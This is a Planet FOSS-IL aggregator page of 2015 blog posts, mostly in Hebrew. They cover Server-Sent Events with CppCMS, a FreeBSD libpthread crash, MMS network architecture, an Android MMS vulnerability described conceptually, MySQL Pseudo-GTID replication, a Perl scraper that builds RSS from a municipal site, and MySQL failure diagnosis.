פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

02 August, 2015

Artyom Beilis

Comet בצורה שפויה

‏ HTML5 ו־Comet

היום HTML5 מציע שני כלים עיקריים ליישומי ‏Comet‏:

מבחינה טכנית, WebSockets ‏(WS) מייצרים קשר דו־כיווני מלא ומאפשרים הן לשרת והן לקוח לשלוח הודעות בזמן אמת - בלי לפתוח קשרים נוספים. לעומת זאת Server-Sent Events‏ (SSE) זהו קשר חד־כיווני, בו השרת הוא זה ששולח אירועים ללקוח ואם הלקוח צריך לשלוח משהו לשרת, הוא משתשמש בכלי Ajax נוכחיים כמו XMLHttpRequest‏ (XHR).

למען האמת, עד עכשיו יצא לי לעקוב אחרי התפתחות של WS. הפרוטוקול החליף מספר גרסאות, הדפדפנים שינו את המימושים בהתאם עד שהפרוטוקול התייצב. כיום התמיכה ב־WS קיימת ברוב הדפדפנים עדכניים ואמורה להיכנס גם ל־IE10. לעומת זאת, כל הנושא של SSE חלף על פניי ולא שמתי עליו לב.

כיוון שאני מעסק בצד השרת בעיקר, הכנסתי את נושא ה־WS לתכנית העבודה שלי. אבל עדיין לא הצלחתי להגיע אליו; ולא במקרה.

למרות העתיד ה"זוהר" של WS, המימוש הוא לא פשוט. לא מדובר כאן בבעיה טכנית, הרי תמיכה ב־Comet כבר קיימת ועובדת יפה, הבעיה היא בעיה מהותית: כדי לממש WS צריך לשנות פרוטוקול HTTP. ברגע ש"לחיצה היד" של WS נגמרת, לא מדובר עוד ב־HTTP, אלא בפרוטוקול שונה לחלוטין.

לכן, הכלים ופרוטוקולים שבעזרתם יישומים מתקשרים עם שרתי Web, לא מתאימים. למשל, אי אפשר להעביר תקשורת של WS מעל FastCGI, SCGI או CGI. גם אם היישום שלך עובד ב־HTTP, לא כל שרת web ידע להתמודד עם הבעיה: החלפת ה־HTTP בפרוטוקול חלופי.

לכן, אפילו ש־WS, זאת טכנולוגיה מבטיחה, היא עדיין רחוקה מהבשלות האמתית.

לעומת זאת, SSE, שנדחקו הצדה, לא סובלים מהבעיות האלה!

  • SSE לא משנים את פרוטוקול ה־HTTP, לכן, אין בעיות שימוש בתשתיות הקיימות.
  • הביצועים של SSE לא נופלים על אלה של WS.
  • SSE הרבה יותר קלים לתפעול:

    • מכילים מנגנון סנכרון אוטומטי, במקרה של התנתקות
    • מאפשרים לשלוח אירועים שונים ברמת JavaScript בלי שכבות נוספות
    • ניתן לסגת בקלות ל־Long Polling עם XHR פשוט במקרה שהדפדפן לא תומך ב־SSE.

החיסרון היחידי של SSE לעומת WS: לא ניתן לשלוח הודעות באותו הקשר לשרת. אלא לכל הודעה לשרת צריך לשלוח XHR משלו. אבל? SSE מכסה את הרוב המקרים של שימוש ב־Comet!

המימוש? קיים ב־Firefox,‏ Opera‏, Chrome‏, Safari ואמור להיכנס ל־IE10

אז איך זה עובד

בואו נדגים אפליקציה שמציגה את מחיר המניה העדכני ביותר בדפדפן:

בצד הלקוח, אנחנו נכתוב את הקוד הפשוט הבא:

function read_data() {
    var stream = new EventSource('/ticker/get');
    stream.onmessage = function(e){
        document.getElementById('price').innerHTML=e.data;
    };

    stream.onerror = function(e){
        console.log(e);
    };
}

read_data();

אנחנו פותחים EventSource ועל כל אירוע שמכיל מידע אנחנו מעדכנים שדה html עם המחיר העדכני ביותר.

בצד השרת הנושא שקצת יותר מורכב כי אנחנו צריכים לנהל מספר קשרים:

כשנכנס קשר חדש, אנחנו מכינים אותו - מגדירים את ה-Content-Type כ־text/event-stream, מבטלים caching בדרך.

לוקחים את ה־id של הערך הידוע האחרון, זה יאפשר לנו לדעת אם הלקוח התנתק אז אם הוא יודע את המחיר העדכני ביותר או לא. אם הערך שונה מהערך הנוכחי, אנחנו שולחים עדכון, אחרת מכניסית אותו ל"רשימת המתנה" - כל הלקוחות הממתינים לעדכון.

void main(std::string /*url*/)
{
    response().set_content_header("text/event-stream");
    response().set_header("Cache-Control", "no-cache");

    auto last_id = atoi(request().cgetenv("HTTP_LAST_EVENT_ID"));

    auto context=release_context();

    if(last_id != counter_) {
        async_send(context);
    }
    else
        waiters_.insert(context);
}

כיצד אנחנו שולחים עדכונים:

התוכן מורכב מה־id - של המחיר - מנגנון הסנכרון שלנו והתוכן - המחיר עצמו.

void async_send(booster::shared_ptr<cppcms::http::context> waiter)
{
    waiter->response().out() <<
        "id:" <<  counter_ <<"\n"
        "data:" << price_ << "\n"
        "\n";

אחר כך אנחנו מגדירים completion-handler שיבדוק אם פעולה הצליח (אם לא אז קשר נסגר אין מה לעשות) ואם כן, ואין עדכונים נוספים ומכניסים אותו לרשימת ההמתנה.

    waiter->async_flush_output([=,counter_](cppcms::http::context::completion_type status){
        if(status!=0)
            return;
        if(counter_ != this->counter_) {
            this->async_send(waiter);
        }
        else {
            this->waiters_.insert(waiter);
        }
    });

}

עכשיו נכתוב פונקציה קטנה שמאפשרת לנו לעדכן את אלו שממתינים למחיר חדש:

void update_price(double new_one)
{
    counter_++;
    price_ = new_one;
    for(auto waiter : waiters_) {
        async_send(waiter);
    }
    waiters_.clear();
}

נעדכן מונה כדי לסמן מחיר חדש, נעבור על הרשימה ונשלח מחיר מעודכן לכולם. מנגנון פשוט שניתן לממש עם כלים פשוטים (במידה והתשתית שלך תומכת ב־Comet).

ניתן למצוא כאן את הקוד המלא.

חיבור לשרת

כדי שהמנגנון הזה יעבוד צריך לוודא ששרת ה־Web ישלח את התוכן באופן מידי ולא ישמור אותו בזיכרון (בציפייה שעוד מידע יגיע).

  • Lighttpd עושה את זה בלי בעיה ב־FastCGI,‏ SCGI ו־HTTP כברירת מחדל.
  • Apache עושה את זה כברירת מחדל ב־SCGI ו־HTTP אבל ב־FastCGI דרושה אופציה ‎-flush ואז הכל תקין.

לעומת זאת, "Nginx המהולל" עושה בעיות. בפרוטוקולים SCGI ו־HTTP ניתן לבטל buffering עם אופציה http_buffering off או scgi_buffering off אבל ב־FastCGI, שהוא הפרוטוקול הכי נפוץ בעבודה עם שרת Web אופציה כזו לא קיימת! כרגיל, Nginx מפתיע... (או שלא).

אז כרגיל, עוד סיבה טובה לא להשתמש ב־Nginx. אז אני אחזור את הטענה שלי: Nginx, תודה לא, Lighttpd‏.

הטקסט המלא

02 August, 2015 06:46 AM

כשעפים על מספר מעבדים

לפני כמה ימים קיבלתי דיווח, שתוכנה פשוטה שעובדת עם CppCMS עפה ב־FreeBSD כשיוצרים עומס. קיבלתי trace של המחסנית, שהיה נראה חשוד ומוזר. ניסיתי לשחזר... הכל היה תקין.

אז הופנית לדיווח על באג ישן וסגור שנראה כשתי טיפות מים דומה לתעופה הזו. אז הבנתי שבכל זאת מדובר במשהו אמתי. פתחתי VirtualBox, הורדתי image של FreeBSD 9.0/64bit ותוך עשר דקות התחלתי לנסות שוב. ללא הועיל. ואז קיבלתי תוכנה שלדוגמה (טריביאלית לחלוטין) שבאמת עפה!

מעמיסים עליה כמה אלפי פניות ומידי פעם אני מקבל תעופה בפניה לאובייקט std::locale - האובייקט שמחזיק מידע על לוקל המערכת ובפרט הקידוד שלה (כדי להוסיף ל־content-type).

צללתי פנימה והתחלתי לחפור - זה היה נראה כמו באג שקשור ל־threading, ניסיתי גרסאות קומפיילר שונות ואופציות שונות - תעופה היה קבועה וברורה.

עכשיו קצת רקע: אובייקט הלוקל הוא אובייקט מאוד יעיל שמנהל הכל עם reference-counting - כך שבפועל קיים אובייקט יחיד ששומר את המידע - אז התחלתי לעקוב אחריו וגיליתי שאם יוצרים עומס על המערכת, האובייקט לא נמחק - או נמחק מוקדם מידי ומיד אחריו באה התעופה.

פה נדלקה לי מנורה אדומה - משהו לא בסדר ב־reference-counting, קרי הוא לא מתבצע בצורה אטומית. הכנתי תוכנית לבדיקה שהעתיקה את האובייקט מיליוני פעמים ממספר חוטים - הכל תקין.

נכנסתי עוד יותר פנימה והתחלתי להדפיס את המונה (שהוצאתי בדרך לא דרך כי הוא private) ואכן - הוא ממש לא יציב, הולך וגדל עם הזמן - קרי, קיבלתי אמות - יש בעיה במונה!

המשכתי לחפור עוד יותר לעומק והגעתי לקוד שמבצע את עדכון המונה ב־‎libstdc++‎:

if (__gthread_active_p())
  __atomic_add(__mem, __val);
else
  __atomic_add_single(__mem, __val);

כאשר המטרה של הקוד היא - אם אנחנו רצים מחוט אחד - אז אפשר לבצע חיבור פשוט וזול, אחרת מנהלים עדכון מונה בצורה אטומית - נכנסתי עם gdb בקוד לדוגמה וגיליתי:

  • אם אני לא עושה קישור עם libpthread - הוא תמיד מריץ קוד עבור מערכת עם חוט יחיד.
  • אחרת תמיד מבצע פעולה אטומית.

מה הבעיה? הספרייה שלי קשורה ישירות ב־libpthread, אבל התכנה הראשית לא! בלינוקס זה לא מפריע אבל ב־FreeBSD זה לא עובד!

אז הוספתי דגלון ‎-lpthread‎ לתכנה הראשית והבעיה נפתרה ב־100% - המונה הפך ליציב ומתאפס מתי שצריך.

כנראה צריך ללכת לחברה ב־FreeBSD או ב־GCC ולפתוח באג: אם התכנה הראשית לא צריכה להפעיל חוטים באופן ישיר זה לא אומר שהספריות לא עובדות עם החוטים!

זה גם הסביר לי מדוע אותו באג שנסגר בגלל שלא היה ניתן לשחזר אותו, לא השתחזר - כי הבעיה נפתרה כנראה במקרה ע"י קישור ל־libpthread.

כך או אחרת, שמחתי שמצאתי את הבעיה, אפילו שהוא ממש לא הבעיה של ה־framework.

הטקסט המלא

02 August, 2015 06:46 AM

01 August, 2015

Hamakor

אוגוסט פינגווין בסוף השבוע הקרוב

אנחנו מגיעים לישורת האחרונה, הימים האחרונים שלפני הכנס.
כבר יש הרצאות ומציגים, וההכנות האחרונות מתבצעות.

שתי בקשות נותרו לנו, המארגנים:

להתראות בכנס!

 

Share

01 August, 2015 05:02 PM

Boris Shtrasman

MMS

עידו כתב פוסט והיו שם מספר שאלות שאני חושב שהם ראויות לפוסט שלם, נתחיל מהתחלה איך בכלל מדברים עם הודעות מולטימדיה (EMS ו MMS).

אמנם עידו כבר כתב אבל אני חושב שאולי אוכל להרחיב על דבריו והיה קל יותר להבין מהבחינה הטכנית.

  • קיים "ענן" של שירותים שנקרא MMSE (סביבת ה MMS)
  • קיימת רשת תקשורת IP בתוך ספק הסלולאר, ובתוכה קיים רכיב ( SGSN ) שדרכו משתמשי קצה יתקשרו.
  • אדם מחזיק במכשיר קצה (מודם/ מכשיר סלולאר) שרוצה לקבל או לשלוח הודעות מולטימדיה (MMS UA) 
  • קיים שירות שמספק את תוכן ההודעות עצמן.
  • קיים רכיב מקשר שהוא ה MMS relay/server (יכול להיות שרת בודד או מחולק)

ה MMS UA יתחבר לMMSE שם ידבר עם רכיב ה MMS Relay, יש הרבה דרכים לתקשר אם "הענן" הפופולריים הם WAP gateway, SIP ו IMAP4/SMTP.

אני משתמש פה במושג MMSE ולא MMSC כי אני מאמין שזה פשוט יותר להבנה , כי  MMSC לא  מוגדר הייטב  כי לפעמים זה רק ה Realy/Server לפעמים זה כולל את השרתים שמספקים את המידע  ( בTS23140 שמגדיר את MMS השם MMSC לא קיים)  .

ברמה הקלאסית ה MMS Relay מדבר עם רכיבים אחרים  בתוך סביבת ה MMSE שיספקו את המידע מול רכיבי האימות-הרשאה-חשבונאות של הרשת, שירותי אימייל (מדובר בתקשורת IP קלאסית עם פרוטקולים כמו IMAP4 ), שירותי המרת מידע ושירותים הקשורים להעברת ההודעה עצמה. הרכיב גם יכול לדבר עם ספקי שירות ברשתות אחרות (בין חברות שונות).

ממה שאני מכיר בדרך כלל מכשיר הקצה יתחבר דרך ה SGSN לכתובת מיוחדת או אפילו ל APN מיוחד בשביל למשוך או לשלוח הודעות.

במכשיר הקצה יוגדרו דרכי הגישה ל MMSc :

רוב הספקים שאני מכיר מספקים גישת HTTP שפתוחה לכל משתמשי הרשת הסלולרית שכוללת לקוחות ארעיים (לקוח O2 שמחורבר ל SGSN של O2 יקבל גישה ל MMSC של O2 אבל לא של BT) ע"ג רשת הנתונים שמספקת חברת התקשורת.

יש ספקים משספקים חיבור SIPי מה שמאפשר ללמשתמש קצה שמתחבר בלקוח SIP כמו linphone יוכל לקבל את הודעות ה MMS כהודעות IM רגילות.

יש ספקים בודדים שמאפשרים גישת HTTP שנגישה לכל (לקוח BT ניגש ל חברת XXX עם אמצעי זיהוי ומקבל תוכן).

שרתי ה MMS Relay בינם לבין עצמם יכולים לדבר ב SMTP (משתמש של BT שולח הודעה ל O2 , ה MMS Relay של BT ו O2 יכולים לדברים ב SMTP בינם לבין עצמם) ובין עצמם לחיצוניים מדברים M4.

אמצעי האבטחה של המערכת תלויים בספק התקשורת , וכמו כל שירות אחר יכולים להכיל חורי אבטחה.

ממה שאני מכיר במשתמשי קצה רגילים טיפול בהודעה יהיה ע"י תהליך שיחה בין משתמש לספק (negotiation) עבור כל הודעה , אם שלחת אותה הודעה ל 20 אנשים יבוצעו 20 negotiation שונים.

במידה ומדובר על שירות WAP ה MMS UA ידבר WSP מול שירות ה gateway , שירות ה gateway ידבר HTTP מול ה MMS relay. כל אחד מההודעות תהיה בערך כך :

MMS UA send ----MMS Send request     ----> MMSE
MMS UA send <---MMS Send confirmation---- MMSE
MMS UA send MMSE
MMS UA send MMSE ---- notification request ---> MMS UA
MMS UA send MMSE <--- notification response --- MMS UA
MMS UA send MMSE <--- get request ---- MMS UA
MMS UA send MMSE --- retrieve confirmation---> MMS UA
MMS UA send MMSE <-- ACK --- MMS UA
MMS UA send <---MMS Delivry result ---- MMSE


התעבורה בין MMS UA אחד ל MMSE מבוצעת באמצעות שימוש בMM1,
בתוך רשת ה MMSE יהיו מספר צורות שיחה. ובין שרת RELAY אחד לחיצוני ידברו MM4. אם נרכיב את הדוגמה הקודמת נקבל:


MMS UA @BT                MMS relay @BT            MMS relay @O2               MMS UA @ O2
| | | |
|--> MM1 submit.req --> | | |
|<--MM1 sumbit.res | | |
| | --MM4 forward.req ----> | |
| | <--MM4 forward.res ---- | |
| | | -MM1 notification.req-> |
| | | <-MM1 notification.res |
| | | |
| | | <-MM1 retrieve.req- |
| | | --MM1 retrieve.res-> |
| | | <--MM1 ACK .req- |
| | <-MM4 Delivry report.req | |
| | MM4 Delivry report.res-> | |
| | | |
|<-MM1 Delivry report.req | | |


דוגמה לשימוש כזה אפשר לראות כאן.


במקרה SIPי המצב טיפה שונה :

יש לא רק MMS UA אלא גם SIP UA ומה שיקרה שיהיה זיהוי מול השרת שמספק SIP ושרת זה ידבר מול ה MMS relay (לדוגמה ע"י register).

בקשות ה MM1 submit מומרות ל SIP MESSAGE.

התוכן יהיה multipart mime כאשר חלק ראשון יהיה בעל Content type מסוג application/vnd.wap.mms-message ומכיל את ה PDU של MM1 submit.

החלק השני יהיה תוכן הבקשה עצמה או קישור לתוכן.

בתלות בספק ראיתי כי יש או העלאה http put של תוכן ההודעה בספק השירות ואז שליחת קישור לתוכן בתוך ההודעות או העברה של התוכן מקודד.

MMS SIP UA                                    MMS HSP                             MMS Relay

| | |
| -----REGISTER ---> | |
| <----200 --- | |
| | -- Register MMS SIP UA ---> |
| | <-- 200 |
| | |
| SIP message (submit.req)---> | -- SIP MESSAGE ----------> |
| | <-- SIP MESSAGE response - |
| <--- SIP message response (submit.res) | |
| | |



לקריאה נוספת :
 rfc3428
rfc3261 
MMS stage 3 sip


במקרה שמדובר על חיבור ל IMAP4 / SMTP -
מרבית הספקים שאני מכיר מספקים SMTP שקוף למשתמש, כלומר משתמש שולח הודעת MMS לכתובת מייל וזה עובד ישירות ללא שום הגדרה מיוחדת.

הצד המקבל יקבל הודעה מ msisdn@mms.bt כאשר ה msisdn הוא msisdn של השולח.

ממה שראיתי המימוש מורכב מ שרת postfix שמקבל מידע משרת שמבצע המרת תעבורת MM1 + store להודעת SMTP. במקרה הזה הודעת הקבלה לא מתקבלת , אבל בגלל שמדובר על הודעה שהיא אופציונלית אין שום בעייה בנושא.
 
ספקי שירות (VAS) לעומת זאת ישתמשו ב MM7 (שזה בסה"כ SOAP ) ויוכלו לשלוח מסות של הודעות.

רשתות סלולאר מכילות רכיב חשוב נוסף שהוא ה SMSC .

בגלל שיש לנו את SMPP (פרוטקול תקשורת שמאפשר לנו לתקשר בין SMSC שונים) הדבר מאפשר לנו לחבר בין שני שרתים שונים ע"ג IP (הרבה יותר נוח משאר SS7), רכיב ה SMSC הוא בדר"כ שונה מ MMSC אבל ניתן לבנות מערכת שתבצע קישור בין SMSC ל MMSC (רואים את זה בדר"כ בשירותי תוכן בהם שולחים MMS ומקבלים תשובה ב SMS).

אחד ההבדלים העיקרים בין עבודת SMSC ל MMSC שאני רואה (פרט לעובדה של טיפול ב SMS וטיפול ב MMS) הוא התגובה - ב SMSC יש דרישה לאבטחת שליחת מידע ואימות השליחה בעוד ב MMSC זה אופציונאלי.

עכשיו נחזור לשאלה המקורית,

מה קורה עם אתה משתלט על שרת SMSC שהוא נמצא בקשר עם ספקים אחרים. כן אתה יכול לעשות נזק מטורף האם יעצרו אותך מספיק מהר ? אני מאוד מקווה שכן.

בכל אחד מצורות החיבור יש מנגנוני זיהוי ב WAP מדובר ע"י מערכות רשת הסלולאר ב SIP ו IMAP מדובר על אחזקה כמו כל שרת SIP ו IMAP אחר.

ממה ששאני מכיר יש מערכות שיודעות לזהות הודעות כפולות. אם אני שולח 20 הודעות אני אראה 20 הודעות negoations אבל השרת עצמו יכול העתק אחד בלבד של התוכן.

 במערכות שיש VAS (שעליו שולח ההודעות משלם הייטב) יש העתק אחד ונשלח קישור לתוכן.

01 August, 2015 04:48 PM

31 July, 2015

ik

אנדרואיד, mms ובעיית אבטחה עם פתרון ישים

נמצאה בעיית אבטחה (למעשה באג) באנדרואיד כאשר מקבלים mms. הבעיה בגדול מאוד, אומרת כי ניתן ליצור תמונה שתוכל להריץ קוד זדוני, וכל מה שצריך לעשות זה לשלוח לטלפון mms, ואפילו לא צריך לפתוח אותו, היות ואנדרואיד יוריד ויפענח את התמונה ואז הוא גם יריץ את הקוד.

הפתרון שרוב האנשים שמציעים הוא שתעדכנו את ה firmware של אנדרואיד. זה פתרון די לא יישים – למעלה מ90 אחוז מאוכלוסיית בעלי מכשירים מבוססי אנדרואיד אינו יודע לעשות את זה, וחלק לא מבוטל, גם אסור לו לעשות את זה.

אז לפני שאסביר מה הפתרון שלדעתי כן ישים, אסביר מאוד בקצרה מה זה בכלל mms.

בעולם הסלולרי, יש לנו יכולת לשלוח הודעות קצרות (אם כי לאחרונה זה הפך להיות יותר כמו מגילה מאשר הודעה קצרה) בשם SMS. הפירוש של SMS הוא Short Message Service.
הוא נשלח באמצעות אותות בשם ss7 ממכשיר לאנטנה, ומאנטנה לספק טלפון כלשהו. עכשיו הספק מעביר את זה הלאה לספק אחר שהוא שולח את ההודעה למכשיר אחר.

עד כאן, הכל דבש (או סילאן, לרגישים). אבל אז הגיעו מהנדסים והתחילו לצור תמיכה ב"אינטרנט" לסלולרי, באמצעות פרוטוקול בשם WAP. הפרוטוקול על רגל אחת, מדבר על כך שאני מקבל רשת מחשבים על גבי מכשיר סלולרי.

אחרי שהגיע אלינו WAP, הגיעו מהנדסים ושאלו מדוע לא ניתן "לנצל" את ה WAP ואת ה SMS ביחד ולשלוח בעצם מולטימידיה באמצעות הודעות קצרות (דמיינו מם לזה). וכך נולד לנו ה MMS.

כיצד עובד ה MMS? אני שולח הודעת SMS במבנה מסוים שאומר כי יש לי משהו כדוגמת תמונה בשרת שניתן להוריד באמצעות WAP.

אז עכשיו אחרי שהבנו, מבלי להיכנס לעובי הקורה כיצד הדברים עובדים, הנה הפתרון הכל כך פשוט:
ספקי הסלולר המחזיקים שרתי WAP, או בכלל ספקי SMSc המחזיקים בשרת WAP, יכניסו משהו פשוט שנקרא "אנטי וירוס", אשר מזהה מערך התקפות על קבצי מולטימידיה, ובכך בעצם הבעיה קיבלה מענה די הולם, אם כי לא מושלם.

זה עדיין לא אומר שלא צריך לשדרג את הגרסאות הבעייתיות, אבל זה לפחות משהו ישים יותר, מאשר לרדוף אחרי הרבה מאוד לקוחות.


תויק תחת:android, Operating Systems, אבטחת מידע, אינטרנט, חומרה, טכנולוגיה, טלפוניה, סלולרי, קוד פתוח, רשתות, תוכנה, תקשורת

31 July, 2015 07:30 AM

29 July, 2015

Shlomi Noach

Pseudo GTID, ASCENDING

Pseudo GTID is a technique where we inject Globally Unique entries into MySQL, gaining GTID abilities without using GTID. It is supported by orchestrator and described in more detail here, here and here.

Quick recap: we can join two slaves to replicate from one another even if they never were in parent-child relationship, based on our uniquely identifiable entries which can be found in the slaves' binary logs or relay logs. Having Pseudo-GTID injected and controlled by us allows us to optimize failovers into quick operations, especially where a large number of server is involved.

Ascending Pseudo-GTID further speeds up this process for delayed/lagging slaves.

Recap, visualized

(but do look at the presentation):

pseudo-gtid-quick

  1. Find last pseudo GTID in slave’s binary log (or last applied one in relay log)
  2. Search for exact match on new master’s binary logs
  3. Fast forward both through successive identical statements until end of slave’s applied entries is reached
  4. Point slave into cursor position on master

What happens if the slave we wish to reconnect is lagging? Or perhaps it is a delayed replica, set to run 24 hours behind its master?

The naive approach would expand bullet #2 into:

The last Pseudo-GTID executed by the slave was issued by the master over 24 hours ago. Suppose the master generates one binary log per hour. This means we would need to full-scan 24 binary logs of the master where the entry will not be found; to only be matched in the 25th binary log (it's an off-by-one problem, don't hold the exact number against me).

Ascending Pseudo GTID

Since we control the generation of Pseudo-GTID, and since we control the search for Pseudo-GTID, we are free to choose the form of Pseudo-GTID entries. We recently switched into using Ascending Pseudo-GTID entries, and this works like a charm. Consider these Pseudo-GTID entries:

drop view if exists `meta`.`_pseudo_gtid_hint__asc:55B364E3:0000000000056EE2:6DD57B85`
drop view if exists `meta`.`_pseudo_gtid_hint__asc:55B364E8:0000000000056EEC:ACF03802`
drop view if exists `meta`.`_pseudo_gtid_hint__asc:55B364ED:0000000000056EF8:06279C24`
drop view if exists `meta`.`_pseudo_gtid_hint__asc:55B364F2:0000000000056F02:19D785E4`

The above entries are ascending in lexical order. The above is generated using a UTC timestamp, along with other watchdog/random values. For a moment let's trust that our generation is indeed always ascending. How does that help us?

Suppose the last entry found in the slave is

drop view if exists `meta`.`_pseudo_gtid_hint__asc:55B364E3:0000000000056EE2:6DD57B85`

And this is what we're to search on the master's binary logs. Starting with the optimistic hope that the entry is in the master's last binary log, we start reading. By nature of binary logs we have to scan them sequentially from start to end. As we read the binary log entries, we soon meet the first Pseudo-GTID injection, and it reads:

drop view if exists `meta`.`_pseudo_gtid_hint__asc:55B730E6:0000000000058F02:19D785E4`

 

At this stage we know we can completely skip scanning the rest of the binary log. Our entry will not be there: this entry is larger than the one we're looking for, and they'll only get larger as we get along in the binary log. It is therefore safe to ignore the rest of this file and move on to the next-older binary log on the master, to repeat our search there.

Binary logs where the entry cannot be in are only briefly examined: orchestrator will probably read no more than first 1,000 entries or so (can't give you a number, it's your workload) before giving up on the binary log.

On every topology chain we have 2 delayed replica slaves, to help us out in the case we make a grave mistake of DELETing the wrong data. These slaves would take, on some chains, 5-6 minutes to reconnect to a new master using Pseudo-GTID, since it required scanning many many GBs of binary logs. This is no longer the case; we've reduced scan time for such servers to about 25s at worst, and much quicker on average. There can still be dozens of binary logs to open, but all but one are given up very quickly. I should stress that those 25s are nonblocking for other slaves which are mote up to date than the delayed replicas.

Can there be a mistake?

Notice that the above algorithm does not require each and every entry to be ascending; it just compares the first entry in each binlog to determine whether our target entry is there or not. This means if we've messed up our Ascending order and injected some out-of-order entries, we can still get away with it -- as long as those entries are not the first ones in the binary log, nor are they the last entries executed by the slave.

But why be so negative? We're using UTC timestamp as the major sorting order, and inject Pseudo-GTID every 5 seconds; even with leap second we're comfortable.

On my TODO is to also include a "Plan B" full-scan search: if the Ascending algorithm fails, we can still opt for the full scan option. So there would be no risk at all.

Example

We inject Pseudo-GTID via event-scheduler. These are the good parts of the event definition:

create event if not exists
  create_pseudo_gtid_event
  on schedule every 5 second starts current_timestamp
  on completion preserve
  enable
  do
    begin
      set @connection_id := connection_id();
      set @now := now();
      set @rand := floor(rand()*(1 << 32));
      set @pseudo_gtid_hint := concat_ws(':', lpad(hex(unix_timestamp(@now)), 8, '0'), lpad(hex(@connection_id), 16, '0'), lpad(hex(@rand), 8, '0'));

      set @_create_statement := concat('drop ', 'view if exists `meta`.`_pseudo_gtid_', 'hint__asc:', @pseudo_gtid_hint, '`');
      PREPARE st FROM @_create_statement;
      EXECUTE st;
      DEALLOCATE PREPARE st;

We accompany this by the following orchestrator configuration:

 "PseudoGTIDPattern": "drop view if exists .*?`_pseudo_gtid_hint__",
 "PseudoGTIDMonotonicHint": "asc:",

"PseudoGTIDMonotonicHint" notes a string; if that string ("asc:") is found in the slave's Pseudo-GTID entry, then the entry is assumed to have been injected as part of ascending entries, and the optimization kicks in.

The Manual has more on this.

29 July, 2015 10:59 AM

27 July, 2015

Boris Shtrasman

muni grabber

לא היה לי ערוץ RSS להודעות באתר העירייה אז התוצאה לפניכם, יכול להיות שזה יעבוד גם לאחרים אם גם העירייה שלהם משתמשת במערכת ההודעות דומה.
#!/usr/bin/perl  

use LWP 5.64; # Loads all important LWP classes, and makes
use HTTP::Cookies; # Allow work with cookies
use XML::RSS;
use Encode qw(decode encode);

my $browser = LWP::UserAgent->new;
if ( $#ARGV != 0 ) {
print "incorrect number of params, you should provide only basepath example : $0 http://url.muni.tld\n";
die "";
}

$browser->cookie_jar( HTTP::Cookies->new(
'file' => '/tmp/headers',
# where to read/write cookies
'autosave' => 1,
# save it to disk when done
));



$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)');
my $basepath = "$ARGV[0]";
my $url = "$basepath/openning.asp?Lang=1";
my $response = $browser->get( $url );


#for each cookie we got, add it to the current jar
$browser->cookie_jar->extract_cookies( $response );

$response = $browser->get( "$basepath/apps/hebrew/resulttest.asp?AppId=4&TableName=MESSAGES&Categories=65&From=" );

my $rss = XML::RSS->new( version => '0.9' );
$rss->channel(
title => "MUNI for $basepath",
link => "$basepath",
description => "MUNI RSS");

#the intersting stuff is inside Parse_Html_Template(...)
#I was too lazy to use better modules so I just went to the source , please don't shoot me ;)
#
#
for my $item ($response->content =~ /Parse_Html_Template\((.*?)\)/g) {
#first line always have garbage data (just skip it)
next unless ($item =~ /.*,.*/) ;
#Format #### , "title","date"
# ### may be a version number
#
#
$item =~ s/[^,]*,[^,]*,[^,]*,//;#remove useless headers
#the next come in the format :
#"<a href='relative_path'>text</a>","<a href='relative path'>date</a>"
while ( $item =~ q/"([^"]*)","([^"]*)"/)
{
my $firstpart = $1 ;
my $secondpart = $2 ;
$firstpart=~ /<a.*href=["']([\s\S]+?)['"].*>/;
$link = $1;
$firstpart=~ /<a.*href.*>([\s\S]+?)<\/a>/;
$text = $1;
$text = decode("iso-8859-8", $text);
$rss->add_item( title => $text, link => $basepath . $link);
$item =~ s/"([^"]*)","([^"]*)"//;
}
}

$rss->save("$0.rss");

__END__

=head1 NAME

muni RSS - a script to get an RSS from old municipal websites which are lacking an RSS/Atom features.

=head1 SYNOPSIS

Create an RSS 0.9 file based on the messages page.

=head1 DESCRIPTION

This script provide a basic example on how one could get the RSS from the rusty pages without the RSS interface,

=head1 BUGS

=head1 AUTHOR

Original code:Boris Shtrasman

=head1 COPYRIGHT

Copyright (c) 2015 Boris Shtrasman

=head1 LICENSE

this script is free software. You can redistribute it and/or modify it under the same terms as Perl itself.

=head1 CREDITS

Rael Dornfest <rael@oreilly.com>
Jonathan Eisenzopf <eisen@pobox.com>
Wojciech Zwiefka <wojtekz@cnt.pl>
Chris Nandor <pudge@pobox.com>

=head1 SEE ALSO

perl(1), XML::Parser(3), LWP(3), XML::RSS(3),HTTP::Cookies(3)

=cut


27 July, 2015 04:57 AM

25 July, 2015

Shlomi Noach

What makes a MySQL server failure/recovery case?

Or: How do you reach the conclusion your MySQL master/intermediate-master is dead and must be recovered?

This is an attempt at making a holistic diagnosis of our replication topologies. The aim is to cover obvious and not-so-obvious crash scenarios, and to be able to act accordingly and heal the topology.

At Booking.com we are dealing with very large amounts of MySQL servers. We have many topologies, and many servers in each topology. See past numbers to get a feel for it. At these numbers failures happen frequently. Typically we would see normal slaves failing, but occasionally -- and far more frequently than we would like to be paged for -- an intermediate master or a master would crash. But our current (and ever in transition) setup also include SANs, DNS records, VIPs, any of which can fail and bring down our topologies.

Tackling issues of monitoring, disaster analysis and recovery processes, I feel safe to claim the following statements:

Bummer. Let's review a simplified topology with a few failure scenarios. Some of these scenarios you will find familiar. Some others may be caused by setups you're not using. I would love to say I've seen it all but the more I see the more I know how strange things can become.

We will consider the simplified case of a master with three replicas: we have M as master, A, B, C as slaves.

mysql-topologies-failures

 

A common monitoring scheme is to monitor each machine's IP, availability of MySQL port (3306) and responsiveness to some simple query (e.g. "SELECT 1"). Some of these checks may run local to the machine, others remote.

Now consider your monitoring tool fails to connect to your master.

mysql-topologies-failures (1)

I've marked the slaves with question marks as the common monitoring schema does not associate the master's monitoring result to the slaves'.  Can you safely conclude your master is dead? Are your feeling comfortable with initiating a failover process? How about:

Now consider the following case: a first tier slave is failing to connect to the master:

mysql-topologies-failures (2)

The slave's IO thread is broken; do we have a problem here? Is the slave failing to connect because the master is dead, or because the slave itself suffers from a network partitioning glitch?

A holistic diagnosis

In the holistic approach we couple the master's monitoring with that of its direct slaves. Before I continue to describe some logic, the previous statement is something we must reflect upon.

We should associate the master's state with that of its direct slaves. Hence we must know which are its direct slaves. We might have slaves D, E, F, G replicating from B, C. They are not in our story. But slaves come and go. Get provisioned and de-provisioned. They get repointed elsewhere. Our monitoring needs to be aware of the state of our replication topology.

My preferred tool for the job is orchestrator, since I author it. It is not a standard monitoring tool and does not serve metrics; but it observes your topologies and records them. And notes changes. And acts as a higher level failure detection mechanism which incorporates the logic described below.

